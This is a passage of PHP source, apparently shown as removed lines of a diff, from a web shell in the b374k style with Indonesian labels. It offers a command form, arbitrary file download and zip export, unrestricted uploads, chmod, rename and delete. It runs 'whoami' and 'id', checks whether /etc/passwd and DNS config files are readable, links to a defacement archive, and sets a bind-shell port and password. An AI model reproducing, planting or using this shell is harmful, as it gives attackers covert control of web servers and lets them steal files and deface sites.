- $e=str_replace('\\','/',$e);
- if(in_array(substr($e, strrpos($e,'/')+1),array('.','..')))continue;
- $e=realpath($e);
- if(is_dir($e)===true){
- $c->addEmptyDir(str_replace($a.'/','',$e.'/'));
- }elseif(is_file($e)===true){
- $c->addFromString(str_replace($a.'/','',$e),file_get_contents($e));
- }
- }
- }elseif(is_file($a)===true){
- $c->addFromString(basename($a),file_get_contents($a));
- }
- return $c->close();
- }
- if(isset($_GET['dl'])&&($_GET['dl']!="")){
- $a=$_GET['dl'];
- $b=@file_get_contents($a);
- if($b){
- header("Content-type: application/octet-stream");
- header("Content-length: " .strlen($b));
- header("Content-Length: " .filesize($a));
- header("Content-disposition: attachment; filename=\"".basename($a)."\";");
- echo $b;
- }
- exit();
- }elseif(isset($_GET['dlgzip'])&&($_GET['dlgzip']!="")) {
- $a=$_GET['dlgzip'];
- $b=gzencode(@file_get_contents($a));
- header("Content-Type:application/x-gzip\n");
- header("Content-length: ".strlen($b));
- header("Content-Length: ".filesize($a));
- header("Content-disposition: attachment; filename=\"".basename($a).".gz\";");
- echo $b;
- exit();
- }elseif(isset($_GET['dlzip'])&&($_GET['dlzip']!="")){
- $old=urldecode($_GET['dlzip']);
- $zippath=pathinfo($old);
- $dirname=$zippath['dirname'].DIRECTORY_SEPARATOR;
- $zipname=preg_replace('/[^[:^punct:]\s-]/','_',$zippath['filename']);
- $dlzip=(!empty($zipname)?$zipname:date('Y_m_d_h_i_s')).'.zip';
- $dirname=(is_writable($dirname)?$dirname:$pwd);
- dlzip($old,$dirname.$dlzip);
- if(file_exists($dirname.$dlzip)){
- header('Pragma: public');
- header('Expires: 0');
- header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
- header('Last-Modified: '.gmdate('D, d M Y H:i:s',filemtime($dirname.$dlzip)).' GMT');
- header('Content-Type: application/force-download');
- header('Content-Disposition: attachment; filename="'.$dlzip.'"');
- header('Content-Transfer-Encoding: binary');
- header('Content-Length: '.filesize($dirname.$dlzip));
- header('Connection: close');
- readfile($dirname.$dlzip);
- }
- exit();
- }
- if(isset($_GET['img'])){
- ob_clean();
- $a=magicboom($_GET['dm']);
- $b=$_GET['img'];
- $c=getimagesize($a.$b);
- $d=explode($b,'.');
- $d=$d[count($d)-1];
- header("Content-type: ".$c['mime']);
- header("Cache-control: public");
- header("Expires: ".date('r',mktime(0,0,0,1,1,2030)));
- header("Cache-control: max-age=".(60*60*24*7));
- readfile($a.$b);
- exit();
- }
- $software=getenv('SERVER_SOFTWARE');
- $smfde=@ini_get('safe_mode');
- if($smfde or strtolower($smfde)=='on'){
- $safemode=TRUE;
- }else{
- $safemode=FALSE;
- }
- $system=php_uname();
- if(strtolower(substr($system,0,3))=="win"){
- $win=TRUE;
- }else{
- $win=FALSE;
- }
- if(isset($_GET['dm'])){
- if(is_dir($_GET['view'])){
- chdir($_GET['view']);
- }else{
- chdir($_GET['dm']);
- }
- }
- if(!$win){
- if(!$user=rapih(exx('whoami')))
- $user='';
- if(!$id=rapih(exx('id')))
- $id='';
- $prompt=$user.' $] ';
- $pwd=getcwd().DIRECTORY_SEPARATOR;
- }else{
- $user=get_current_user();
- $id=$user;
- $prompt=$user.' >';
- $pwd=realpath('.').'\\';
- $v=explode('\\',$d);
- $v=$v[0];
- foreach(range('A','Z') as $letter) {
- $bool=is_dir($letter.':\\');
- if($bool) {
- $letters.='<div class="dminfox">Directory: <a href="?dm='.$letter.':\"><span class="infodmx">[ ';
- if($letter.":"!=$v){
- $letters.=$letter;
- }else{
- $letters.=$letter;
- }
- $letters.=' ]</span></a></div>';
- }
- }
- }
- if(isset($_POST['rename'])){
- $old=$_POST['oldname'];
- $new=$_POST['newname'];
- @rename($pwd.$old,$pwd.$new);
- $file=$pwd.$new;
- }
- if(isset($_POST['re_name'])){
- $old=$_POST['old_name'];
- $new=$_POST['new_name'];
- if(rename($pwd.$old,$pwd.$new)){
- $file=$pwd.$new;
- header("Location: ".d_h.$_SERVER['SCRIPT_NAME']."?dm=$pwd&view=$file");
- }
- }
- if(isset($_POST['chmod'])){
- $name=$_POST['name'];
- $value=$_POST['newvalue'];
- if(strlen($value)==3){
- $value=0 .''.$value;
- }
- @chmod($pwd.$name,octdec($value));
- $file=$pwd.$name;
- }
- if(isset($_POST['chmod_folder'])){
- $name=$_POST['name'];
- $value=$_POST['newvalue'];
- if(strlen($value)==3){
- $value=0 .''.$value;
- }
- @chmod($pwd.$name,octdec($value));
- $file=$pwd.$name;
- }
- if($_POST['_upl']=='go'){
- $fname=$_FILES['file']['name'];
- $ldir=magicboom($_POST['path']);
- if(copy($_FILES['file']['tmp_name'],$ldir.$fname)){
- echo"<script>alert('".$ldir.$fname."')</script>";
- }else{
- echo"<script>alert('Upload ".$fname." Error')</script>";
- }
- }
- if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')){$posix=true;}else{$posix=false;}
- $bytes=disk_free_space('.');
- $si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');
- //$base=1024;
- $class=min((int)log($bytes,1024),count($si_prefix)-1);
- $totalspace_bytes=disk_total_space(".");
- $totalspace_si_prefixs=array('B','KB','MB','GB','TB','EB','ZB','YB');
- //$totalspace_bases=1024;
- $totalspace_class=min((int)log($totalspace_bytes,1024),count($totalspace_si_prefixs)-1);
- $totalspace_show=sprintf('%1.2f',$totalspace_bytes/pow(1024,$totalspace_class)).' '.$totalspace_si_prefixs[$totalspace_class];
- $freespace_show=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];
- //$server_ip=gethostbyname($_SERVER['HTTP_HOST']);
- //$server_ip=$_SERVER['SERVER_ADDR'];
- $server_ip=gethostbyname(gethostname());
- $host_name=php_uname()?php_uname():gethostbyaddr($server_ip);
- $my_ip=$_SERVER['REMOTE_ADDR'];
- $server_admin=$_SERVER['SERVER_ADMIN'];
- $gat=$_SERVER['GATEWAY_INTERFACE'];
- $pro=$_SERVER['SERVER_PROTOCOL'];
- $readdr=$_SERVER['REMOTE_ADDR'];
- $uagent=$_SERVER['HTTP_USER_AGENT'];
- $xforwarded=(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$_SERVER['REMOTE_ADDR']);
- $signature=$_SERVER['SERVER_SIGNATURE'];
- $serport=$_SERVER['SERVER_PORT'];
- $remport=$_SERVER['REMOTE_PORT'];
- $bindport="13123";
- $bindport_pass="b374k";
- $is_writable=is_writable($pwd)?"<span style='color:#0ff'/>Writeable</span>":"<span style='color:#f00'/>Not writable</span>";
- if(file_exists('/etc/passwd')){
- $etc_passwd=is_readable("/etc/passwd")?"<span style='color:#0ff'/>ON</span>":"<span style='color:#f00'/>DISABLE</span>";
- }else{
- $etc_passwd="<span style='color:#ff0'/>File does not exist</span>";
- }
- if(file_exists('/etc/valiases/')){
- $etc_valiases=is_readable("/etc/valiases/")?"<span style='color:#0ff'/>ON</span>":"<span style='color:#f00'/>DISABLE</span>";
- }else{
- $etc_valiases="<span style='color:#ff0'/>File does not exist</span>";
- }
- if(file_exists('/var/named')){
- $var_named=is_readable("/var/named")?"<span style='color:#0ff'/>ON</span>":"<span style='color:#f00'/>DISABLE</span>";
- }else{
- $var_named="<span style='color:#ff0'/>File does not exist</span>";
- }
- if(file_exists('/etc/named.conf')){
- $etc_named=is_readable("/etc/named.conf")?"<span style='color:#0ff'/>ON</span>":"<span style='color:#f00'/>DISABLE</span>";
- }else{
- $etc_named="<span style='color:#ff0'/>File does not exist</span>";
- }
- $pwds=explode(DIRECTORY_SEPARATOR,$pwd);
- $pwdurl='';
- for($i=0;$i<sizeof($pwds)-1;$i++){$pathz='';for($j=0;$j<=$i;$j++){$pathz.=$pwds[$j].DIRECTORY_SEPARATOR;}$pwdurl.="<a href=\"?dm=".$pathz."\">".$pwds[$i].DIRECTORY_SEPARATOR."</a>\t";}
- $buff.="<span class='dminfox'>Software</span>: <span style='color:#0ff;'/>$software</span><br />";
- $buff.="<span class='dminfox'>System</span>: <span style='color:#00ffff;'/>$host_name</span><br />";
- $buff.="<span class='dminfox'>Webmaster</span>: <span style='color:#0ff;'>$server_admin</span><span class='infodmx'> || </span><span class='dminfox'>Date: <span style='color:#0ff;'/>".date("d M Y H:i:s",time())."</span><br />";
- if($id!=""){$buff.="<span class='dminfox'>User</span>: <span style='color:#0ff;'>$id</span><br />";}
- $buff.="<span class='dminfox'>Server IP</span>: <span style='color:#0ff;'/>$server_ip</span> <span class='infodmx'> || </span> <a href='http://zone-h.com/archive/ip=$server_ip?zh=1' target='_blank'><span style=\"color:#f00\">[</span>ZONE-H<span style=\"color:#f00\">]</span></a> <span class='infodmx'> || </span> <a href='https://www.whois.com/whois/$server_ip' target='_blank'><span style=\"color:#f00\">[</span>WHOIS<span style=\"color:#f00\">]</span></a> <span class='infodmx'> || </span> <a href='http://viewdns.info/reverseip/?host=$server_ip&t=1' target='_blank'><span style=\"color:#f00\">[</span>VIEW-DNS<span style=\"color:#f00\">]</span></a><span class='infodmx'> || </span><span class='dminfox'>Server Port</span>: <span style='color:#0ff;'/>$serport</span><br />";
- $buff.="<span class='dminfox'>Your IP</span>: <span style='color:#0ff;'/>$my_ip</span><span class='infodmx'> || </span><span class='dminfox'>Real IP</span>: <span style='color:#0ff;'/>$xforwarded</span><span class='infodmx'> || </span><span class='dminfox'>Remote Port</span>: <span style='color:#0ff;'/>$remport</span><br />";
- $buff.="<span class='dminfox'>Total HDD</span>: <span style='color:#0ff;'>$totalspace_show</span><span class='infodmx'> || </span><span class='dminfox'>Free HDD</span>: <span style='color:#0ff;'>$freespace_show</span> <br />";
- $buff.="<span class='dminfox'>PHP ver</span>: <span style='color:#0ff;'>".phpversion()."</span><span class='infodmx'> || </span><span class='dminfox'>Gateway</span>: <span style='color:#0ff;'>$gat</span><span class='infodmx'> || </span><span class='dminfox'>Protocol</span>: <span style='color:#0ff;'>$pro</span><br />";
- if($safemode){
- $buff.="<span class='dminfox'>Safemode</span>: <span style='color:#f00'>ON</span> [ <a href='?dm=$pwd&x=safemodeoff'>TURN OFF</a> ]<br />";
- }else{
- $buff.="<span class='dminfox'>Safemode</span>: <span style='color:#0ff;'>OFF</span><span class='infodmx'> || </span><span class='dminfox'>Magic Quotes</span>: $quot<span class='infodmx'> || </span><span class='dminfox'>/etc/passwd</span>: $etc_passwd</span><br />";
- $buff.="<span class='dminfox'>etc/valiases</span>: $etc_valiases<span class='infodmx'> || </span><span class='dminfox'>/var/named</span>: $var_named<span class='infodmx'> || </span><span class='dminfox'>/etc/named.conf</span>: $etc_named</span><br />";
- }
- $buff.="<span class='dminfox'>MySQLI</span>: ".testmysqli()."<span class='infodmx'> || </span><span class='dminfox'>MySQL</span>: ".testmysql()."<span class='infodmx'> || </span><span class='dminfox'>MSSQL</span>: ".testmssql()." <span class='infodmx'> || </span><span class='dminfox'>Oracle</span>: ".testoracle()." <span class='infodmx'> || </span><span class='dminfox'>PostgreSQL</span>: ".testpostgresql()."<br />";
- $buff.= "<span class='dminfox'>Curl</span>: ".testcurl()."<span class='infodmx'> || </span><span class='dminfox'>WGet</span>: ".testwget()." <span class='infodmx'> || </span><span class='dminfox'>Fetch</span>: ".testfetch()."<span class='infodmx'> || </span><span class='dminfox'>Perl</span>: ".testperl()." <span class='infodmx'> || </span><span class='dminfox'>Dir</span>: $is_writable<br />";
- $buff.="<span class='dminfox'>Disabled Functions</span>: ".showdisablefunctions()."<br />";
- $buff.=$letters."<span class='dminfox'>Directory: $pwdurl</span><br /><br />";
- function showdir($t,$prompt){
- $a=array();
- $b=array();
- $c='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=';
- $d='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs=';
- $e='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=';
- $f='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII=';
- if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')){$g=true;}else{$g=false;}
- if(function_exists('get_current_user')){
- $h=get_current_user()."<span class='gaya'>:</span>".get_current_user();
- }else{
- $h="Eddie:Kidiw";
- }
- if($j=opendir($t)){
- while($k=readdir($j)){
- if(is_dir($k)){
- $b[]=$k;
- }elseif(is_file($k)){
- $a[]=$k;
- }
- }
- closedir($j);
- }
- sort($a);
- sort($b);
- $l=explode(DIRECTORY_SEPARATOR,$t);
- $m=sizeof($l);
- $n="";
- $s='<table align="center">
- <tr>
- <td><span style="font-family:monsters_attack">CMD</span></td>
- <td><form action="?dm='.$t.'&x=shell" method="post">
- <input id="cmd" class="inputz" type="text" name="cmd" style="width:300px;" value="" />
- <span class="awesomeget">
- <input class="inputzbut inputsubmit" type="submit" value="go" name="submitcmd" style="width:50px;" /></span></form></td></tr>
- <tr><td><span style="font-family:monsters_attack">DIR</span></td>
- <td><form action="" method="get"><input type="hidden" name="dm" value="'.$t.'" />
- <input id="goto" class="inputz" type="text" name="view" style="width:300px;" value="'.$t.'" />
- <span class="awesomeget">
- <input class="inputzbut inputsubmit" type="submit" value="go" name="submitcmd" style="width:50px;" /></span></form>
- </td></tr></table>
- <table class="explore"><tr>
- <th style="width:200px;">_NAME_</th>
- <th style="width:70px;">_DIR & SIZE_</th>
- <th style="width:70px;">_CHMOD_</th>
- <th style="width:150px;">_OWNER : GROUP_</th>
- <th style="width:140px;">_LAST ACCESS_</th>
- <th style="width:150px;">_ACTION_</th></tr>';
- if($m>2)
- for($i=0;$i<$m-2;$i++){$n.=$l[$i].DIRECTORY_SEPARATOR;}else{$n=$t;}
- foreach($b as $r){
- if($r=='.'){
- if(!$win&&$g){
- $q=owneruser($r);
- }else{$q=$h;}
- $s.='<tr>
- <td><a href="?dm='.$t.'" title="Home"><i class="fa fa-home fa-lg"></i><!--<img src="'.$c.'">--></a> '.str_replace('.','',$r).'</td>
- <td align=center><i class="fa fa-folder fa-lg"></td>
- <td align=center>'.substr(sprintf('%o',fileperms($t)),-4).'</td>
- <td align=center>'.$q.'</td>
- <td align=center>'.date('d-M-Y H:i',fileatime($t)).'</td>
- <td align=center>
- <div id="'.clearspace($r).'_link">
- <a href="?dm='.$t.'&ed='.$t.'new.php" title="Tambah File"><i class="fa fa-file-text"></i></a>
- <span class="infodmx">||</span>
- <a href="javascript:tukar(\''.clearspace($r).'_link\',\''.clearspace($r).'_newdirs\')" title="Tambah Folder"><i class="fa fa-folder-open"></i></a>
- <span class="infodmx">||</span>
- <a href="javascript:tukar(\''.clearspace($r).'_link\',\''.clearspace($r).'_uploads\')" title="Upload"><i class="fa fa-cloud-upload"></i></a>
- </div>
- <div id="'.clearspace($r).'_newdirs" class="sembunyi" style="margin:0;padding:0;">
- <form action="" method="get" style="display:inline-block">
- <input type="hidden" name="dm" value="'.$t.'" />
- <input class="inputz" style="width:140px;" type="text" name="mkdir" value="'.date('d-m-Y').'" />
- <button class="inputzbut" type="submit" name="rename"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_newdirs\',\''.clearspace($r).'_link\')"><i class="fa fa-times"></i></button>
- </div>
- <div id="'.clearspace($r).'_uploads" class="sembunyi" style="margin:0;padding:0;">
- <form action="" method="post" enctype="multipart/form-data" style="display:inline-block">
- <input type="hidden" name="dm" value="'.$t.'" />
- <input type="file" name="file" size="20"/>
- <input name="path" type="hidden" value="'.$t.'" />
- <span class="awesome"><input type="submit" name="_upl" value="go" class="inputsubmit"/></span>
- <!--<button class="inputzbut" type="submit" name="_upl" value="go"><i class="fa fa-check-circle"></i></button>-->
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_uploads\',\''.clearspace($r).'_link\')"><i class="fa fa-times"></i></button>
- </div>
- </td>
- </tr>';
- }elseif($r=='..'){
- if(!$win&&$g){
- $q=owneruser($r);
- }else{$q=$h;}
- $s.='<tr>
- <td><a href="?dm='.$n.'" title="Kembali">
- <i class="fa fa-reply-all fa-lg"></i><!--<img src="'.$d.'">--></a> '.str_replace('.','',$r).'</td>
- <td align=center><i class="fa fa-folder fa-lg"></td>
- <td align=center>'.substr(sprintf('%o',fileperms($n)),-4).'</td>
- <td align=center>'.$q.'</td>
- <td align=center>'.date('d-M-Y H:i',fileatime($n)).'</td>
- <td align=center>
- <div id="'.clearspace($r).'_link">
- <a href="?dm='.$t.'&ed='.$n.'new.php" title="Tambah File"><i class="fa fa-file-text"></i></a>
- <span class="infodmx">||</span>
- <a href="javascript:tukar(\''.clearspace($r).'_link\',\''.clearspace($r).'_newdir\')" title="Tambah Folder"><i class="fa fa-folder-open"></i></a>
- <span class="infodmx">||</span>
- <a href="javascript:tukar(\''.clearspace($r).'_link\',\''.clearspace($r).'_formup\')" title="Upload"><i class="fa fa-cloud-upload"></i></a>
- </div>
- <div id="'.clearspace($r).'_newdir" class="sembunyi" style="margin:0;padding:0;">
- <form action="" method="get" style="display:inline-block">
- <input type="hidden" name="dm" value="'.$n.'" />
- <input class="inputz" style="width:140px;" type="text" name="mkdir" value="'.date('d-m-Y').'" />
- <button class="inputzbut" type="submit" name="rename"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_newdir\',\''.clearspace($r).'_link\')"><i class="fa fa-times"></i></button>
- </div>
- <div id="'.clearspace($r).'_formup" class="sembunyi" style="margin:0;padding:0;">
- <form action="" method="post" enctype="multipart/form-data" style="display:inline-block">
- <input type="hidden" name="dm" value="'.$n.'" />
- <input type="file" name="file" size="20"/>
- <input name="path" type="hidden" value="'.$n.'" />
- <span class="awesome"><input type="submit" name="_upl" value="go" class="inputsubmit"/></span>
- <!--<button class="inputzbut" type="submit" name="_upl" value="go"><i class="fa fa-check-circle"></i></button>-->
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_formup\',\''.clearspace($r).'_link\')"><i class="fa fa-times"></i></button>
- </div>
- </td>
- </tr>';
- }else{
- if(!$win&&$g){
- $q=owneruser($r);
- }else{$q=$h;}
- $s.='<tr>
- <td>
- <a id="'.clearspace($r).'_link" href="?dm='.$t.$r.DIRECTORY_SEPARATOR.'" title="'.$r.'"><i class="fa fa-folder fa-lg"></i><!--<img src="'.$e.'">--> '.$r.'</a>
- <!-- rename -->
- <div id="'.clearspace($r).'_form" class="sembunyi" style="margin:0;padding:0;">
- <form action="?dm='.$t.'" method="post" style="display:inline-block">
- <input type="hidden" name="oldname" value="'.$r.'" style="margin:0;padding:0;" />
- <input class="inputz" style="width:200px;" type="text" name="newname" value="'.$r.'" />
- <button class="inputzbut" type="submit" name="rename"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_form\',\''.clearspace($r).'_link\')"><i class="fa fa-times"></i></button>
- </div>
- </td>
- <td align=center><i class="fa fa-folder fa-lg"></td>
- <td align=center><a id="'.clearspace($r).'_chmod" href="javascript:tukar(\''.clearspace($r).'_chmod\',\''.clearspace($r).'_form3\')" title="Chmod folder '.$r.' '.substr(sprintf('%o',fileperms($t.$r)),-4).'"> '.substr(sprintf('%o',fileperms($t.$r)),-4).'</a>
- <!-- chmod -->
- <div id="'.clearspace($r).'_form3" class="sembunyi" style="margin:0;padding:0;">
- <form action="?dm='.$t.'" method="post" style="display:inline-block">
- <input type="hidden" name="name" value="'.$r.'" style="margin:0;padding:0;" />
- <input class="inputz" style="width:45px;" type="text" name="newvalue" value="'.substr(sprintf('%o',fileperms($t.$r)),-4).'" />
- <button class="inputzbut" type="submit" name="chmod_folder"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_form3\',\''.clearspace($r).'_chmod\')" /><i class="fa fa-times"></i></button>
- </div>
- </td>
- <td align=center>'.$q.'</td>
- <td align=center>'.date("d-M-Y H:i",fileatime($r)).'</td>
- <td align=center>
- <div id="'.clearspace($r).'_linkup">
- <a title="Ganti Nama '.$r.'" href="javascript:tukar(\''.clearspace($r).'_link\',\''.clearspace($r).'_form\')"><i class="fa fa-clipboard"></i></a>
- <span class="infodmx">||</span>
- <a href="?dm='.$t.'&fdelete='.$t.$r.'" title="Hapus '.$r.'" onclick="return confirm(\'Hapus folder '.$r.'?\')"><i class="fa fa-trash"></i></a>
- <span class="infodmx">||</span>
- <a title="Upload" href="javascript:tukar(\''.clearspace($r).'_linkup\',\''.clearspace($r).'_formup\')"><i class="fa fa-cloud-upload"></i></a>
- <span class="infodmx">||</span>
- <a title="Download zip '.$r.'" href="?dm='.$t.'&dlzip='.$t.$r.'" onclick="return confirm(\'Download zip '.$r.'?\')"><i class="fa fa-file-archive-o dlzip"></i></a>
- </div>
- <!-- upload -->
- <div id="'.clearspace($r).'_formup" class="sembunyi" style="margin:0;padding:0;">
- <form action="" method="post" enctype="multipart/form-data" style="display:inline-block">
- <input type="hidden" name="dm" value="'.$t.$r.DIRECTORY_SEPARATOR.'" />
- <input type="file" name="file" size="20"/>
- <input name="path" type="hidden" value="'.$t.$r.DIRECTORY_SEPARATOR.'" />
- <button class="inputzbut" type="submit" name="_upl"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($r).'_formup\',\''.clearspace($r).'_linkup\')" /><i class="fa fa-times"></i></button>
- </div>
- </td></tr>';
- }
- }
- foreach($a as $k){
- $u=$t.$k;
- if(!$win&&$g){
- $q=owneruser($k);
- }else{$q=$h;}
- $s.='<tr><td>';
- if(extensionfile($u,array('jpeg','gif','ico','bmp','jpg','png'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'&type=image" title="'.$k.'" target="_blank"><i class="fa fa-file-image-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('bz2','tar','gz','7z','rar','zip'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-archive-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('css','js','txt','htaccess','ini'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-text-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('pdf'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-pdf-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('m4a','amr','caa','mp3','ogg','mogg','mog','m4b','wma'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-audio-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('webm','flv','mp4','3gp','vob','avi','wmv','mpeg'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-video-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('doc','dot','wbk','docx','docm','dotx','dotm','docb'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-word-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('xls','xlt','xlm','xlsx','xlsm','xltx','xltm','xlsb','xla','xlam','xll','xlw'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-excel-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }elseif(extensionfile($u,array('ppt','pot','pps','pptx','pptm','potx','potm','ppam','ppsx','ppsm','sldx','sldm'))){
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-powerpoint-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }else{
- $s.='<a id="'.clearspace($k).'_link" href="?dm='.$t.'&view='.$u.'" title="'.$k.'" target="_blank"><i class="fa fa-file-code-o fa-lg"></i><!--<img src="'.$f.'">--> '.$k.'</a>';
- }
- $s.='<div id="'.clearspace($k).'_form" class="sembunyi" style="margin:0;padding:0;">
- <form action="?dm='.$t.'" method="post" style="display:inline-block">
- <input type="hidden" name="oldname" value="'.$k.'" style="margin:0;padding:0;" />
- <input class="inputz" style="width:200px;" type="text" name="newname" value="'.$k.'" />
- <button class="inputzbut" type="submit" name="rename"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($k).'_form\',\''.clearspace($k).'_link\')" /><i class="fa fa-times"></i></button>
- </div>
- </td>
- <td align=center><a title="'.$k.' => '.ukuran($u).'">'.ukuran($u).'</a></td>
- <td align=center>
- <a id="'.clearspace($k).'_newvalue" href="javascript:tukar(\''.clearspace($k).'_newvalue\',\''.clearspace($k).'_form2\')" title="Chmod file '.$k.' '.substr(sprintf('%o',fileperms($u)),-4).'">'.substr(sprintf('%o',fileperms($u)),-4).'</a>
- <div id="'.clearspace($k).'_form2" class="sembunyi" style="margin:0;padding:0;">
- <form action="?dm='.$t.'" method="post" style="display:inline-block">
- <input type="hidden" name="name" value="'.$k.'" style="margin:0;padding:0;" />
- <input class="inputz" style="width:45px;" type="text" name="newvalue" value="'.substr(sprintf('%o',fileperms($u)),-4).'" />
- <button class="inputzbut" type="submit" name="chmod"><i class="fa fa-check-circle"></i></button>
- </form>
- <button class="inputzbut" type="submit" onclick="tukar(\''.clearspace($k).'_form2\',\''.clearspace($k).'_newvalue\')" /><i class="fa fa-times"></i></button>
- </div>
- </td>
- <td align=center>'.$q.'</td>
- <td align=center>'.date("d-M-Y H:i",fileatime($u)). '</td>
- <td align=center><a href="?dm='.$t.'&ed='.$u.'" title="Edit '.$k.'"><i class="fa fa-pencil-square-o"></i></a>
- <span class="infodmx"> || </span>
- <a href="javascript:tukar(\''.clearspace($k).'_link\',\''.clearspace($k).'_form\')" title="Ganti Nama '.$k.'"><i class="fa fa-clipboard"></i></a>
- <span class="infodmx"> || </span>
- <a href="?dm='.$t.'&delete='.$u.'" title="Hapus '.$k.'" onclick="return confirm(\'Hapus file '.$k.'?\')"><i class="fa fa-trash"></i></a>
- <span class="infodmx"> || </span>
- <a href="?dm='.$t.'&dl='.$u.'" title="Download '.$k.'" onclick="return confirm(\'Download '.$k.'?\')"><i class="fa fa-cloud-download"></i></a>
- <span class="infodmx"> || </span>
- <a href="?dm='.$t.'&dlzip='.$u.'" title="Download zip '.$k.'" onclick="return confirm(\'Download zip '.$k.'?\')"><i class="fa fa-file-archive-o dlzip"></i></a>
- </td></tr>';
- }
- $s.='<tr><th colspan="6"></th></tr></table>';
- return $s;
- }
- function ukuran($x){
- $a=@filesize($x);
- if($a>1073741824){
- $a=number_format($a/1073741824,2).' GB';
- }elseif($a>1048576){
- $a=number_format($a/1048576,2).' MB';
- }elseif($a>1024){
- $a=number_format($a/1024,2).' KB';
- }elseif($a>1){
- $a=$a.' Byte';
- }elseif($a==1){
- $a=$a.' Byte';
- }else {
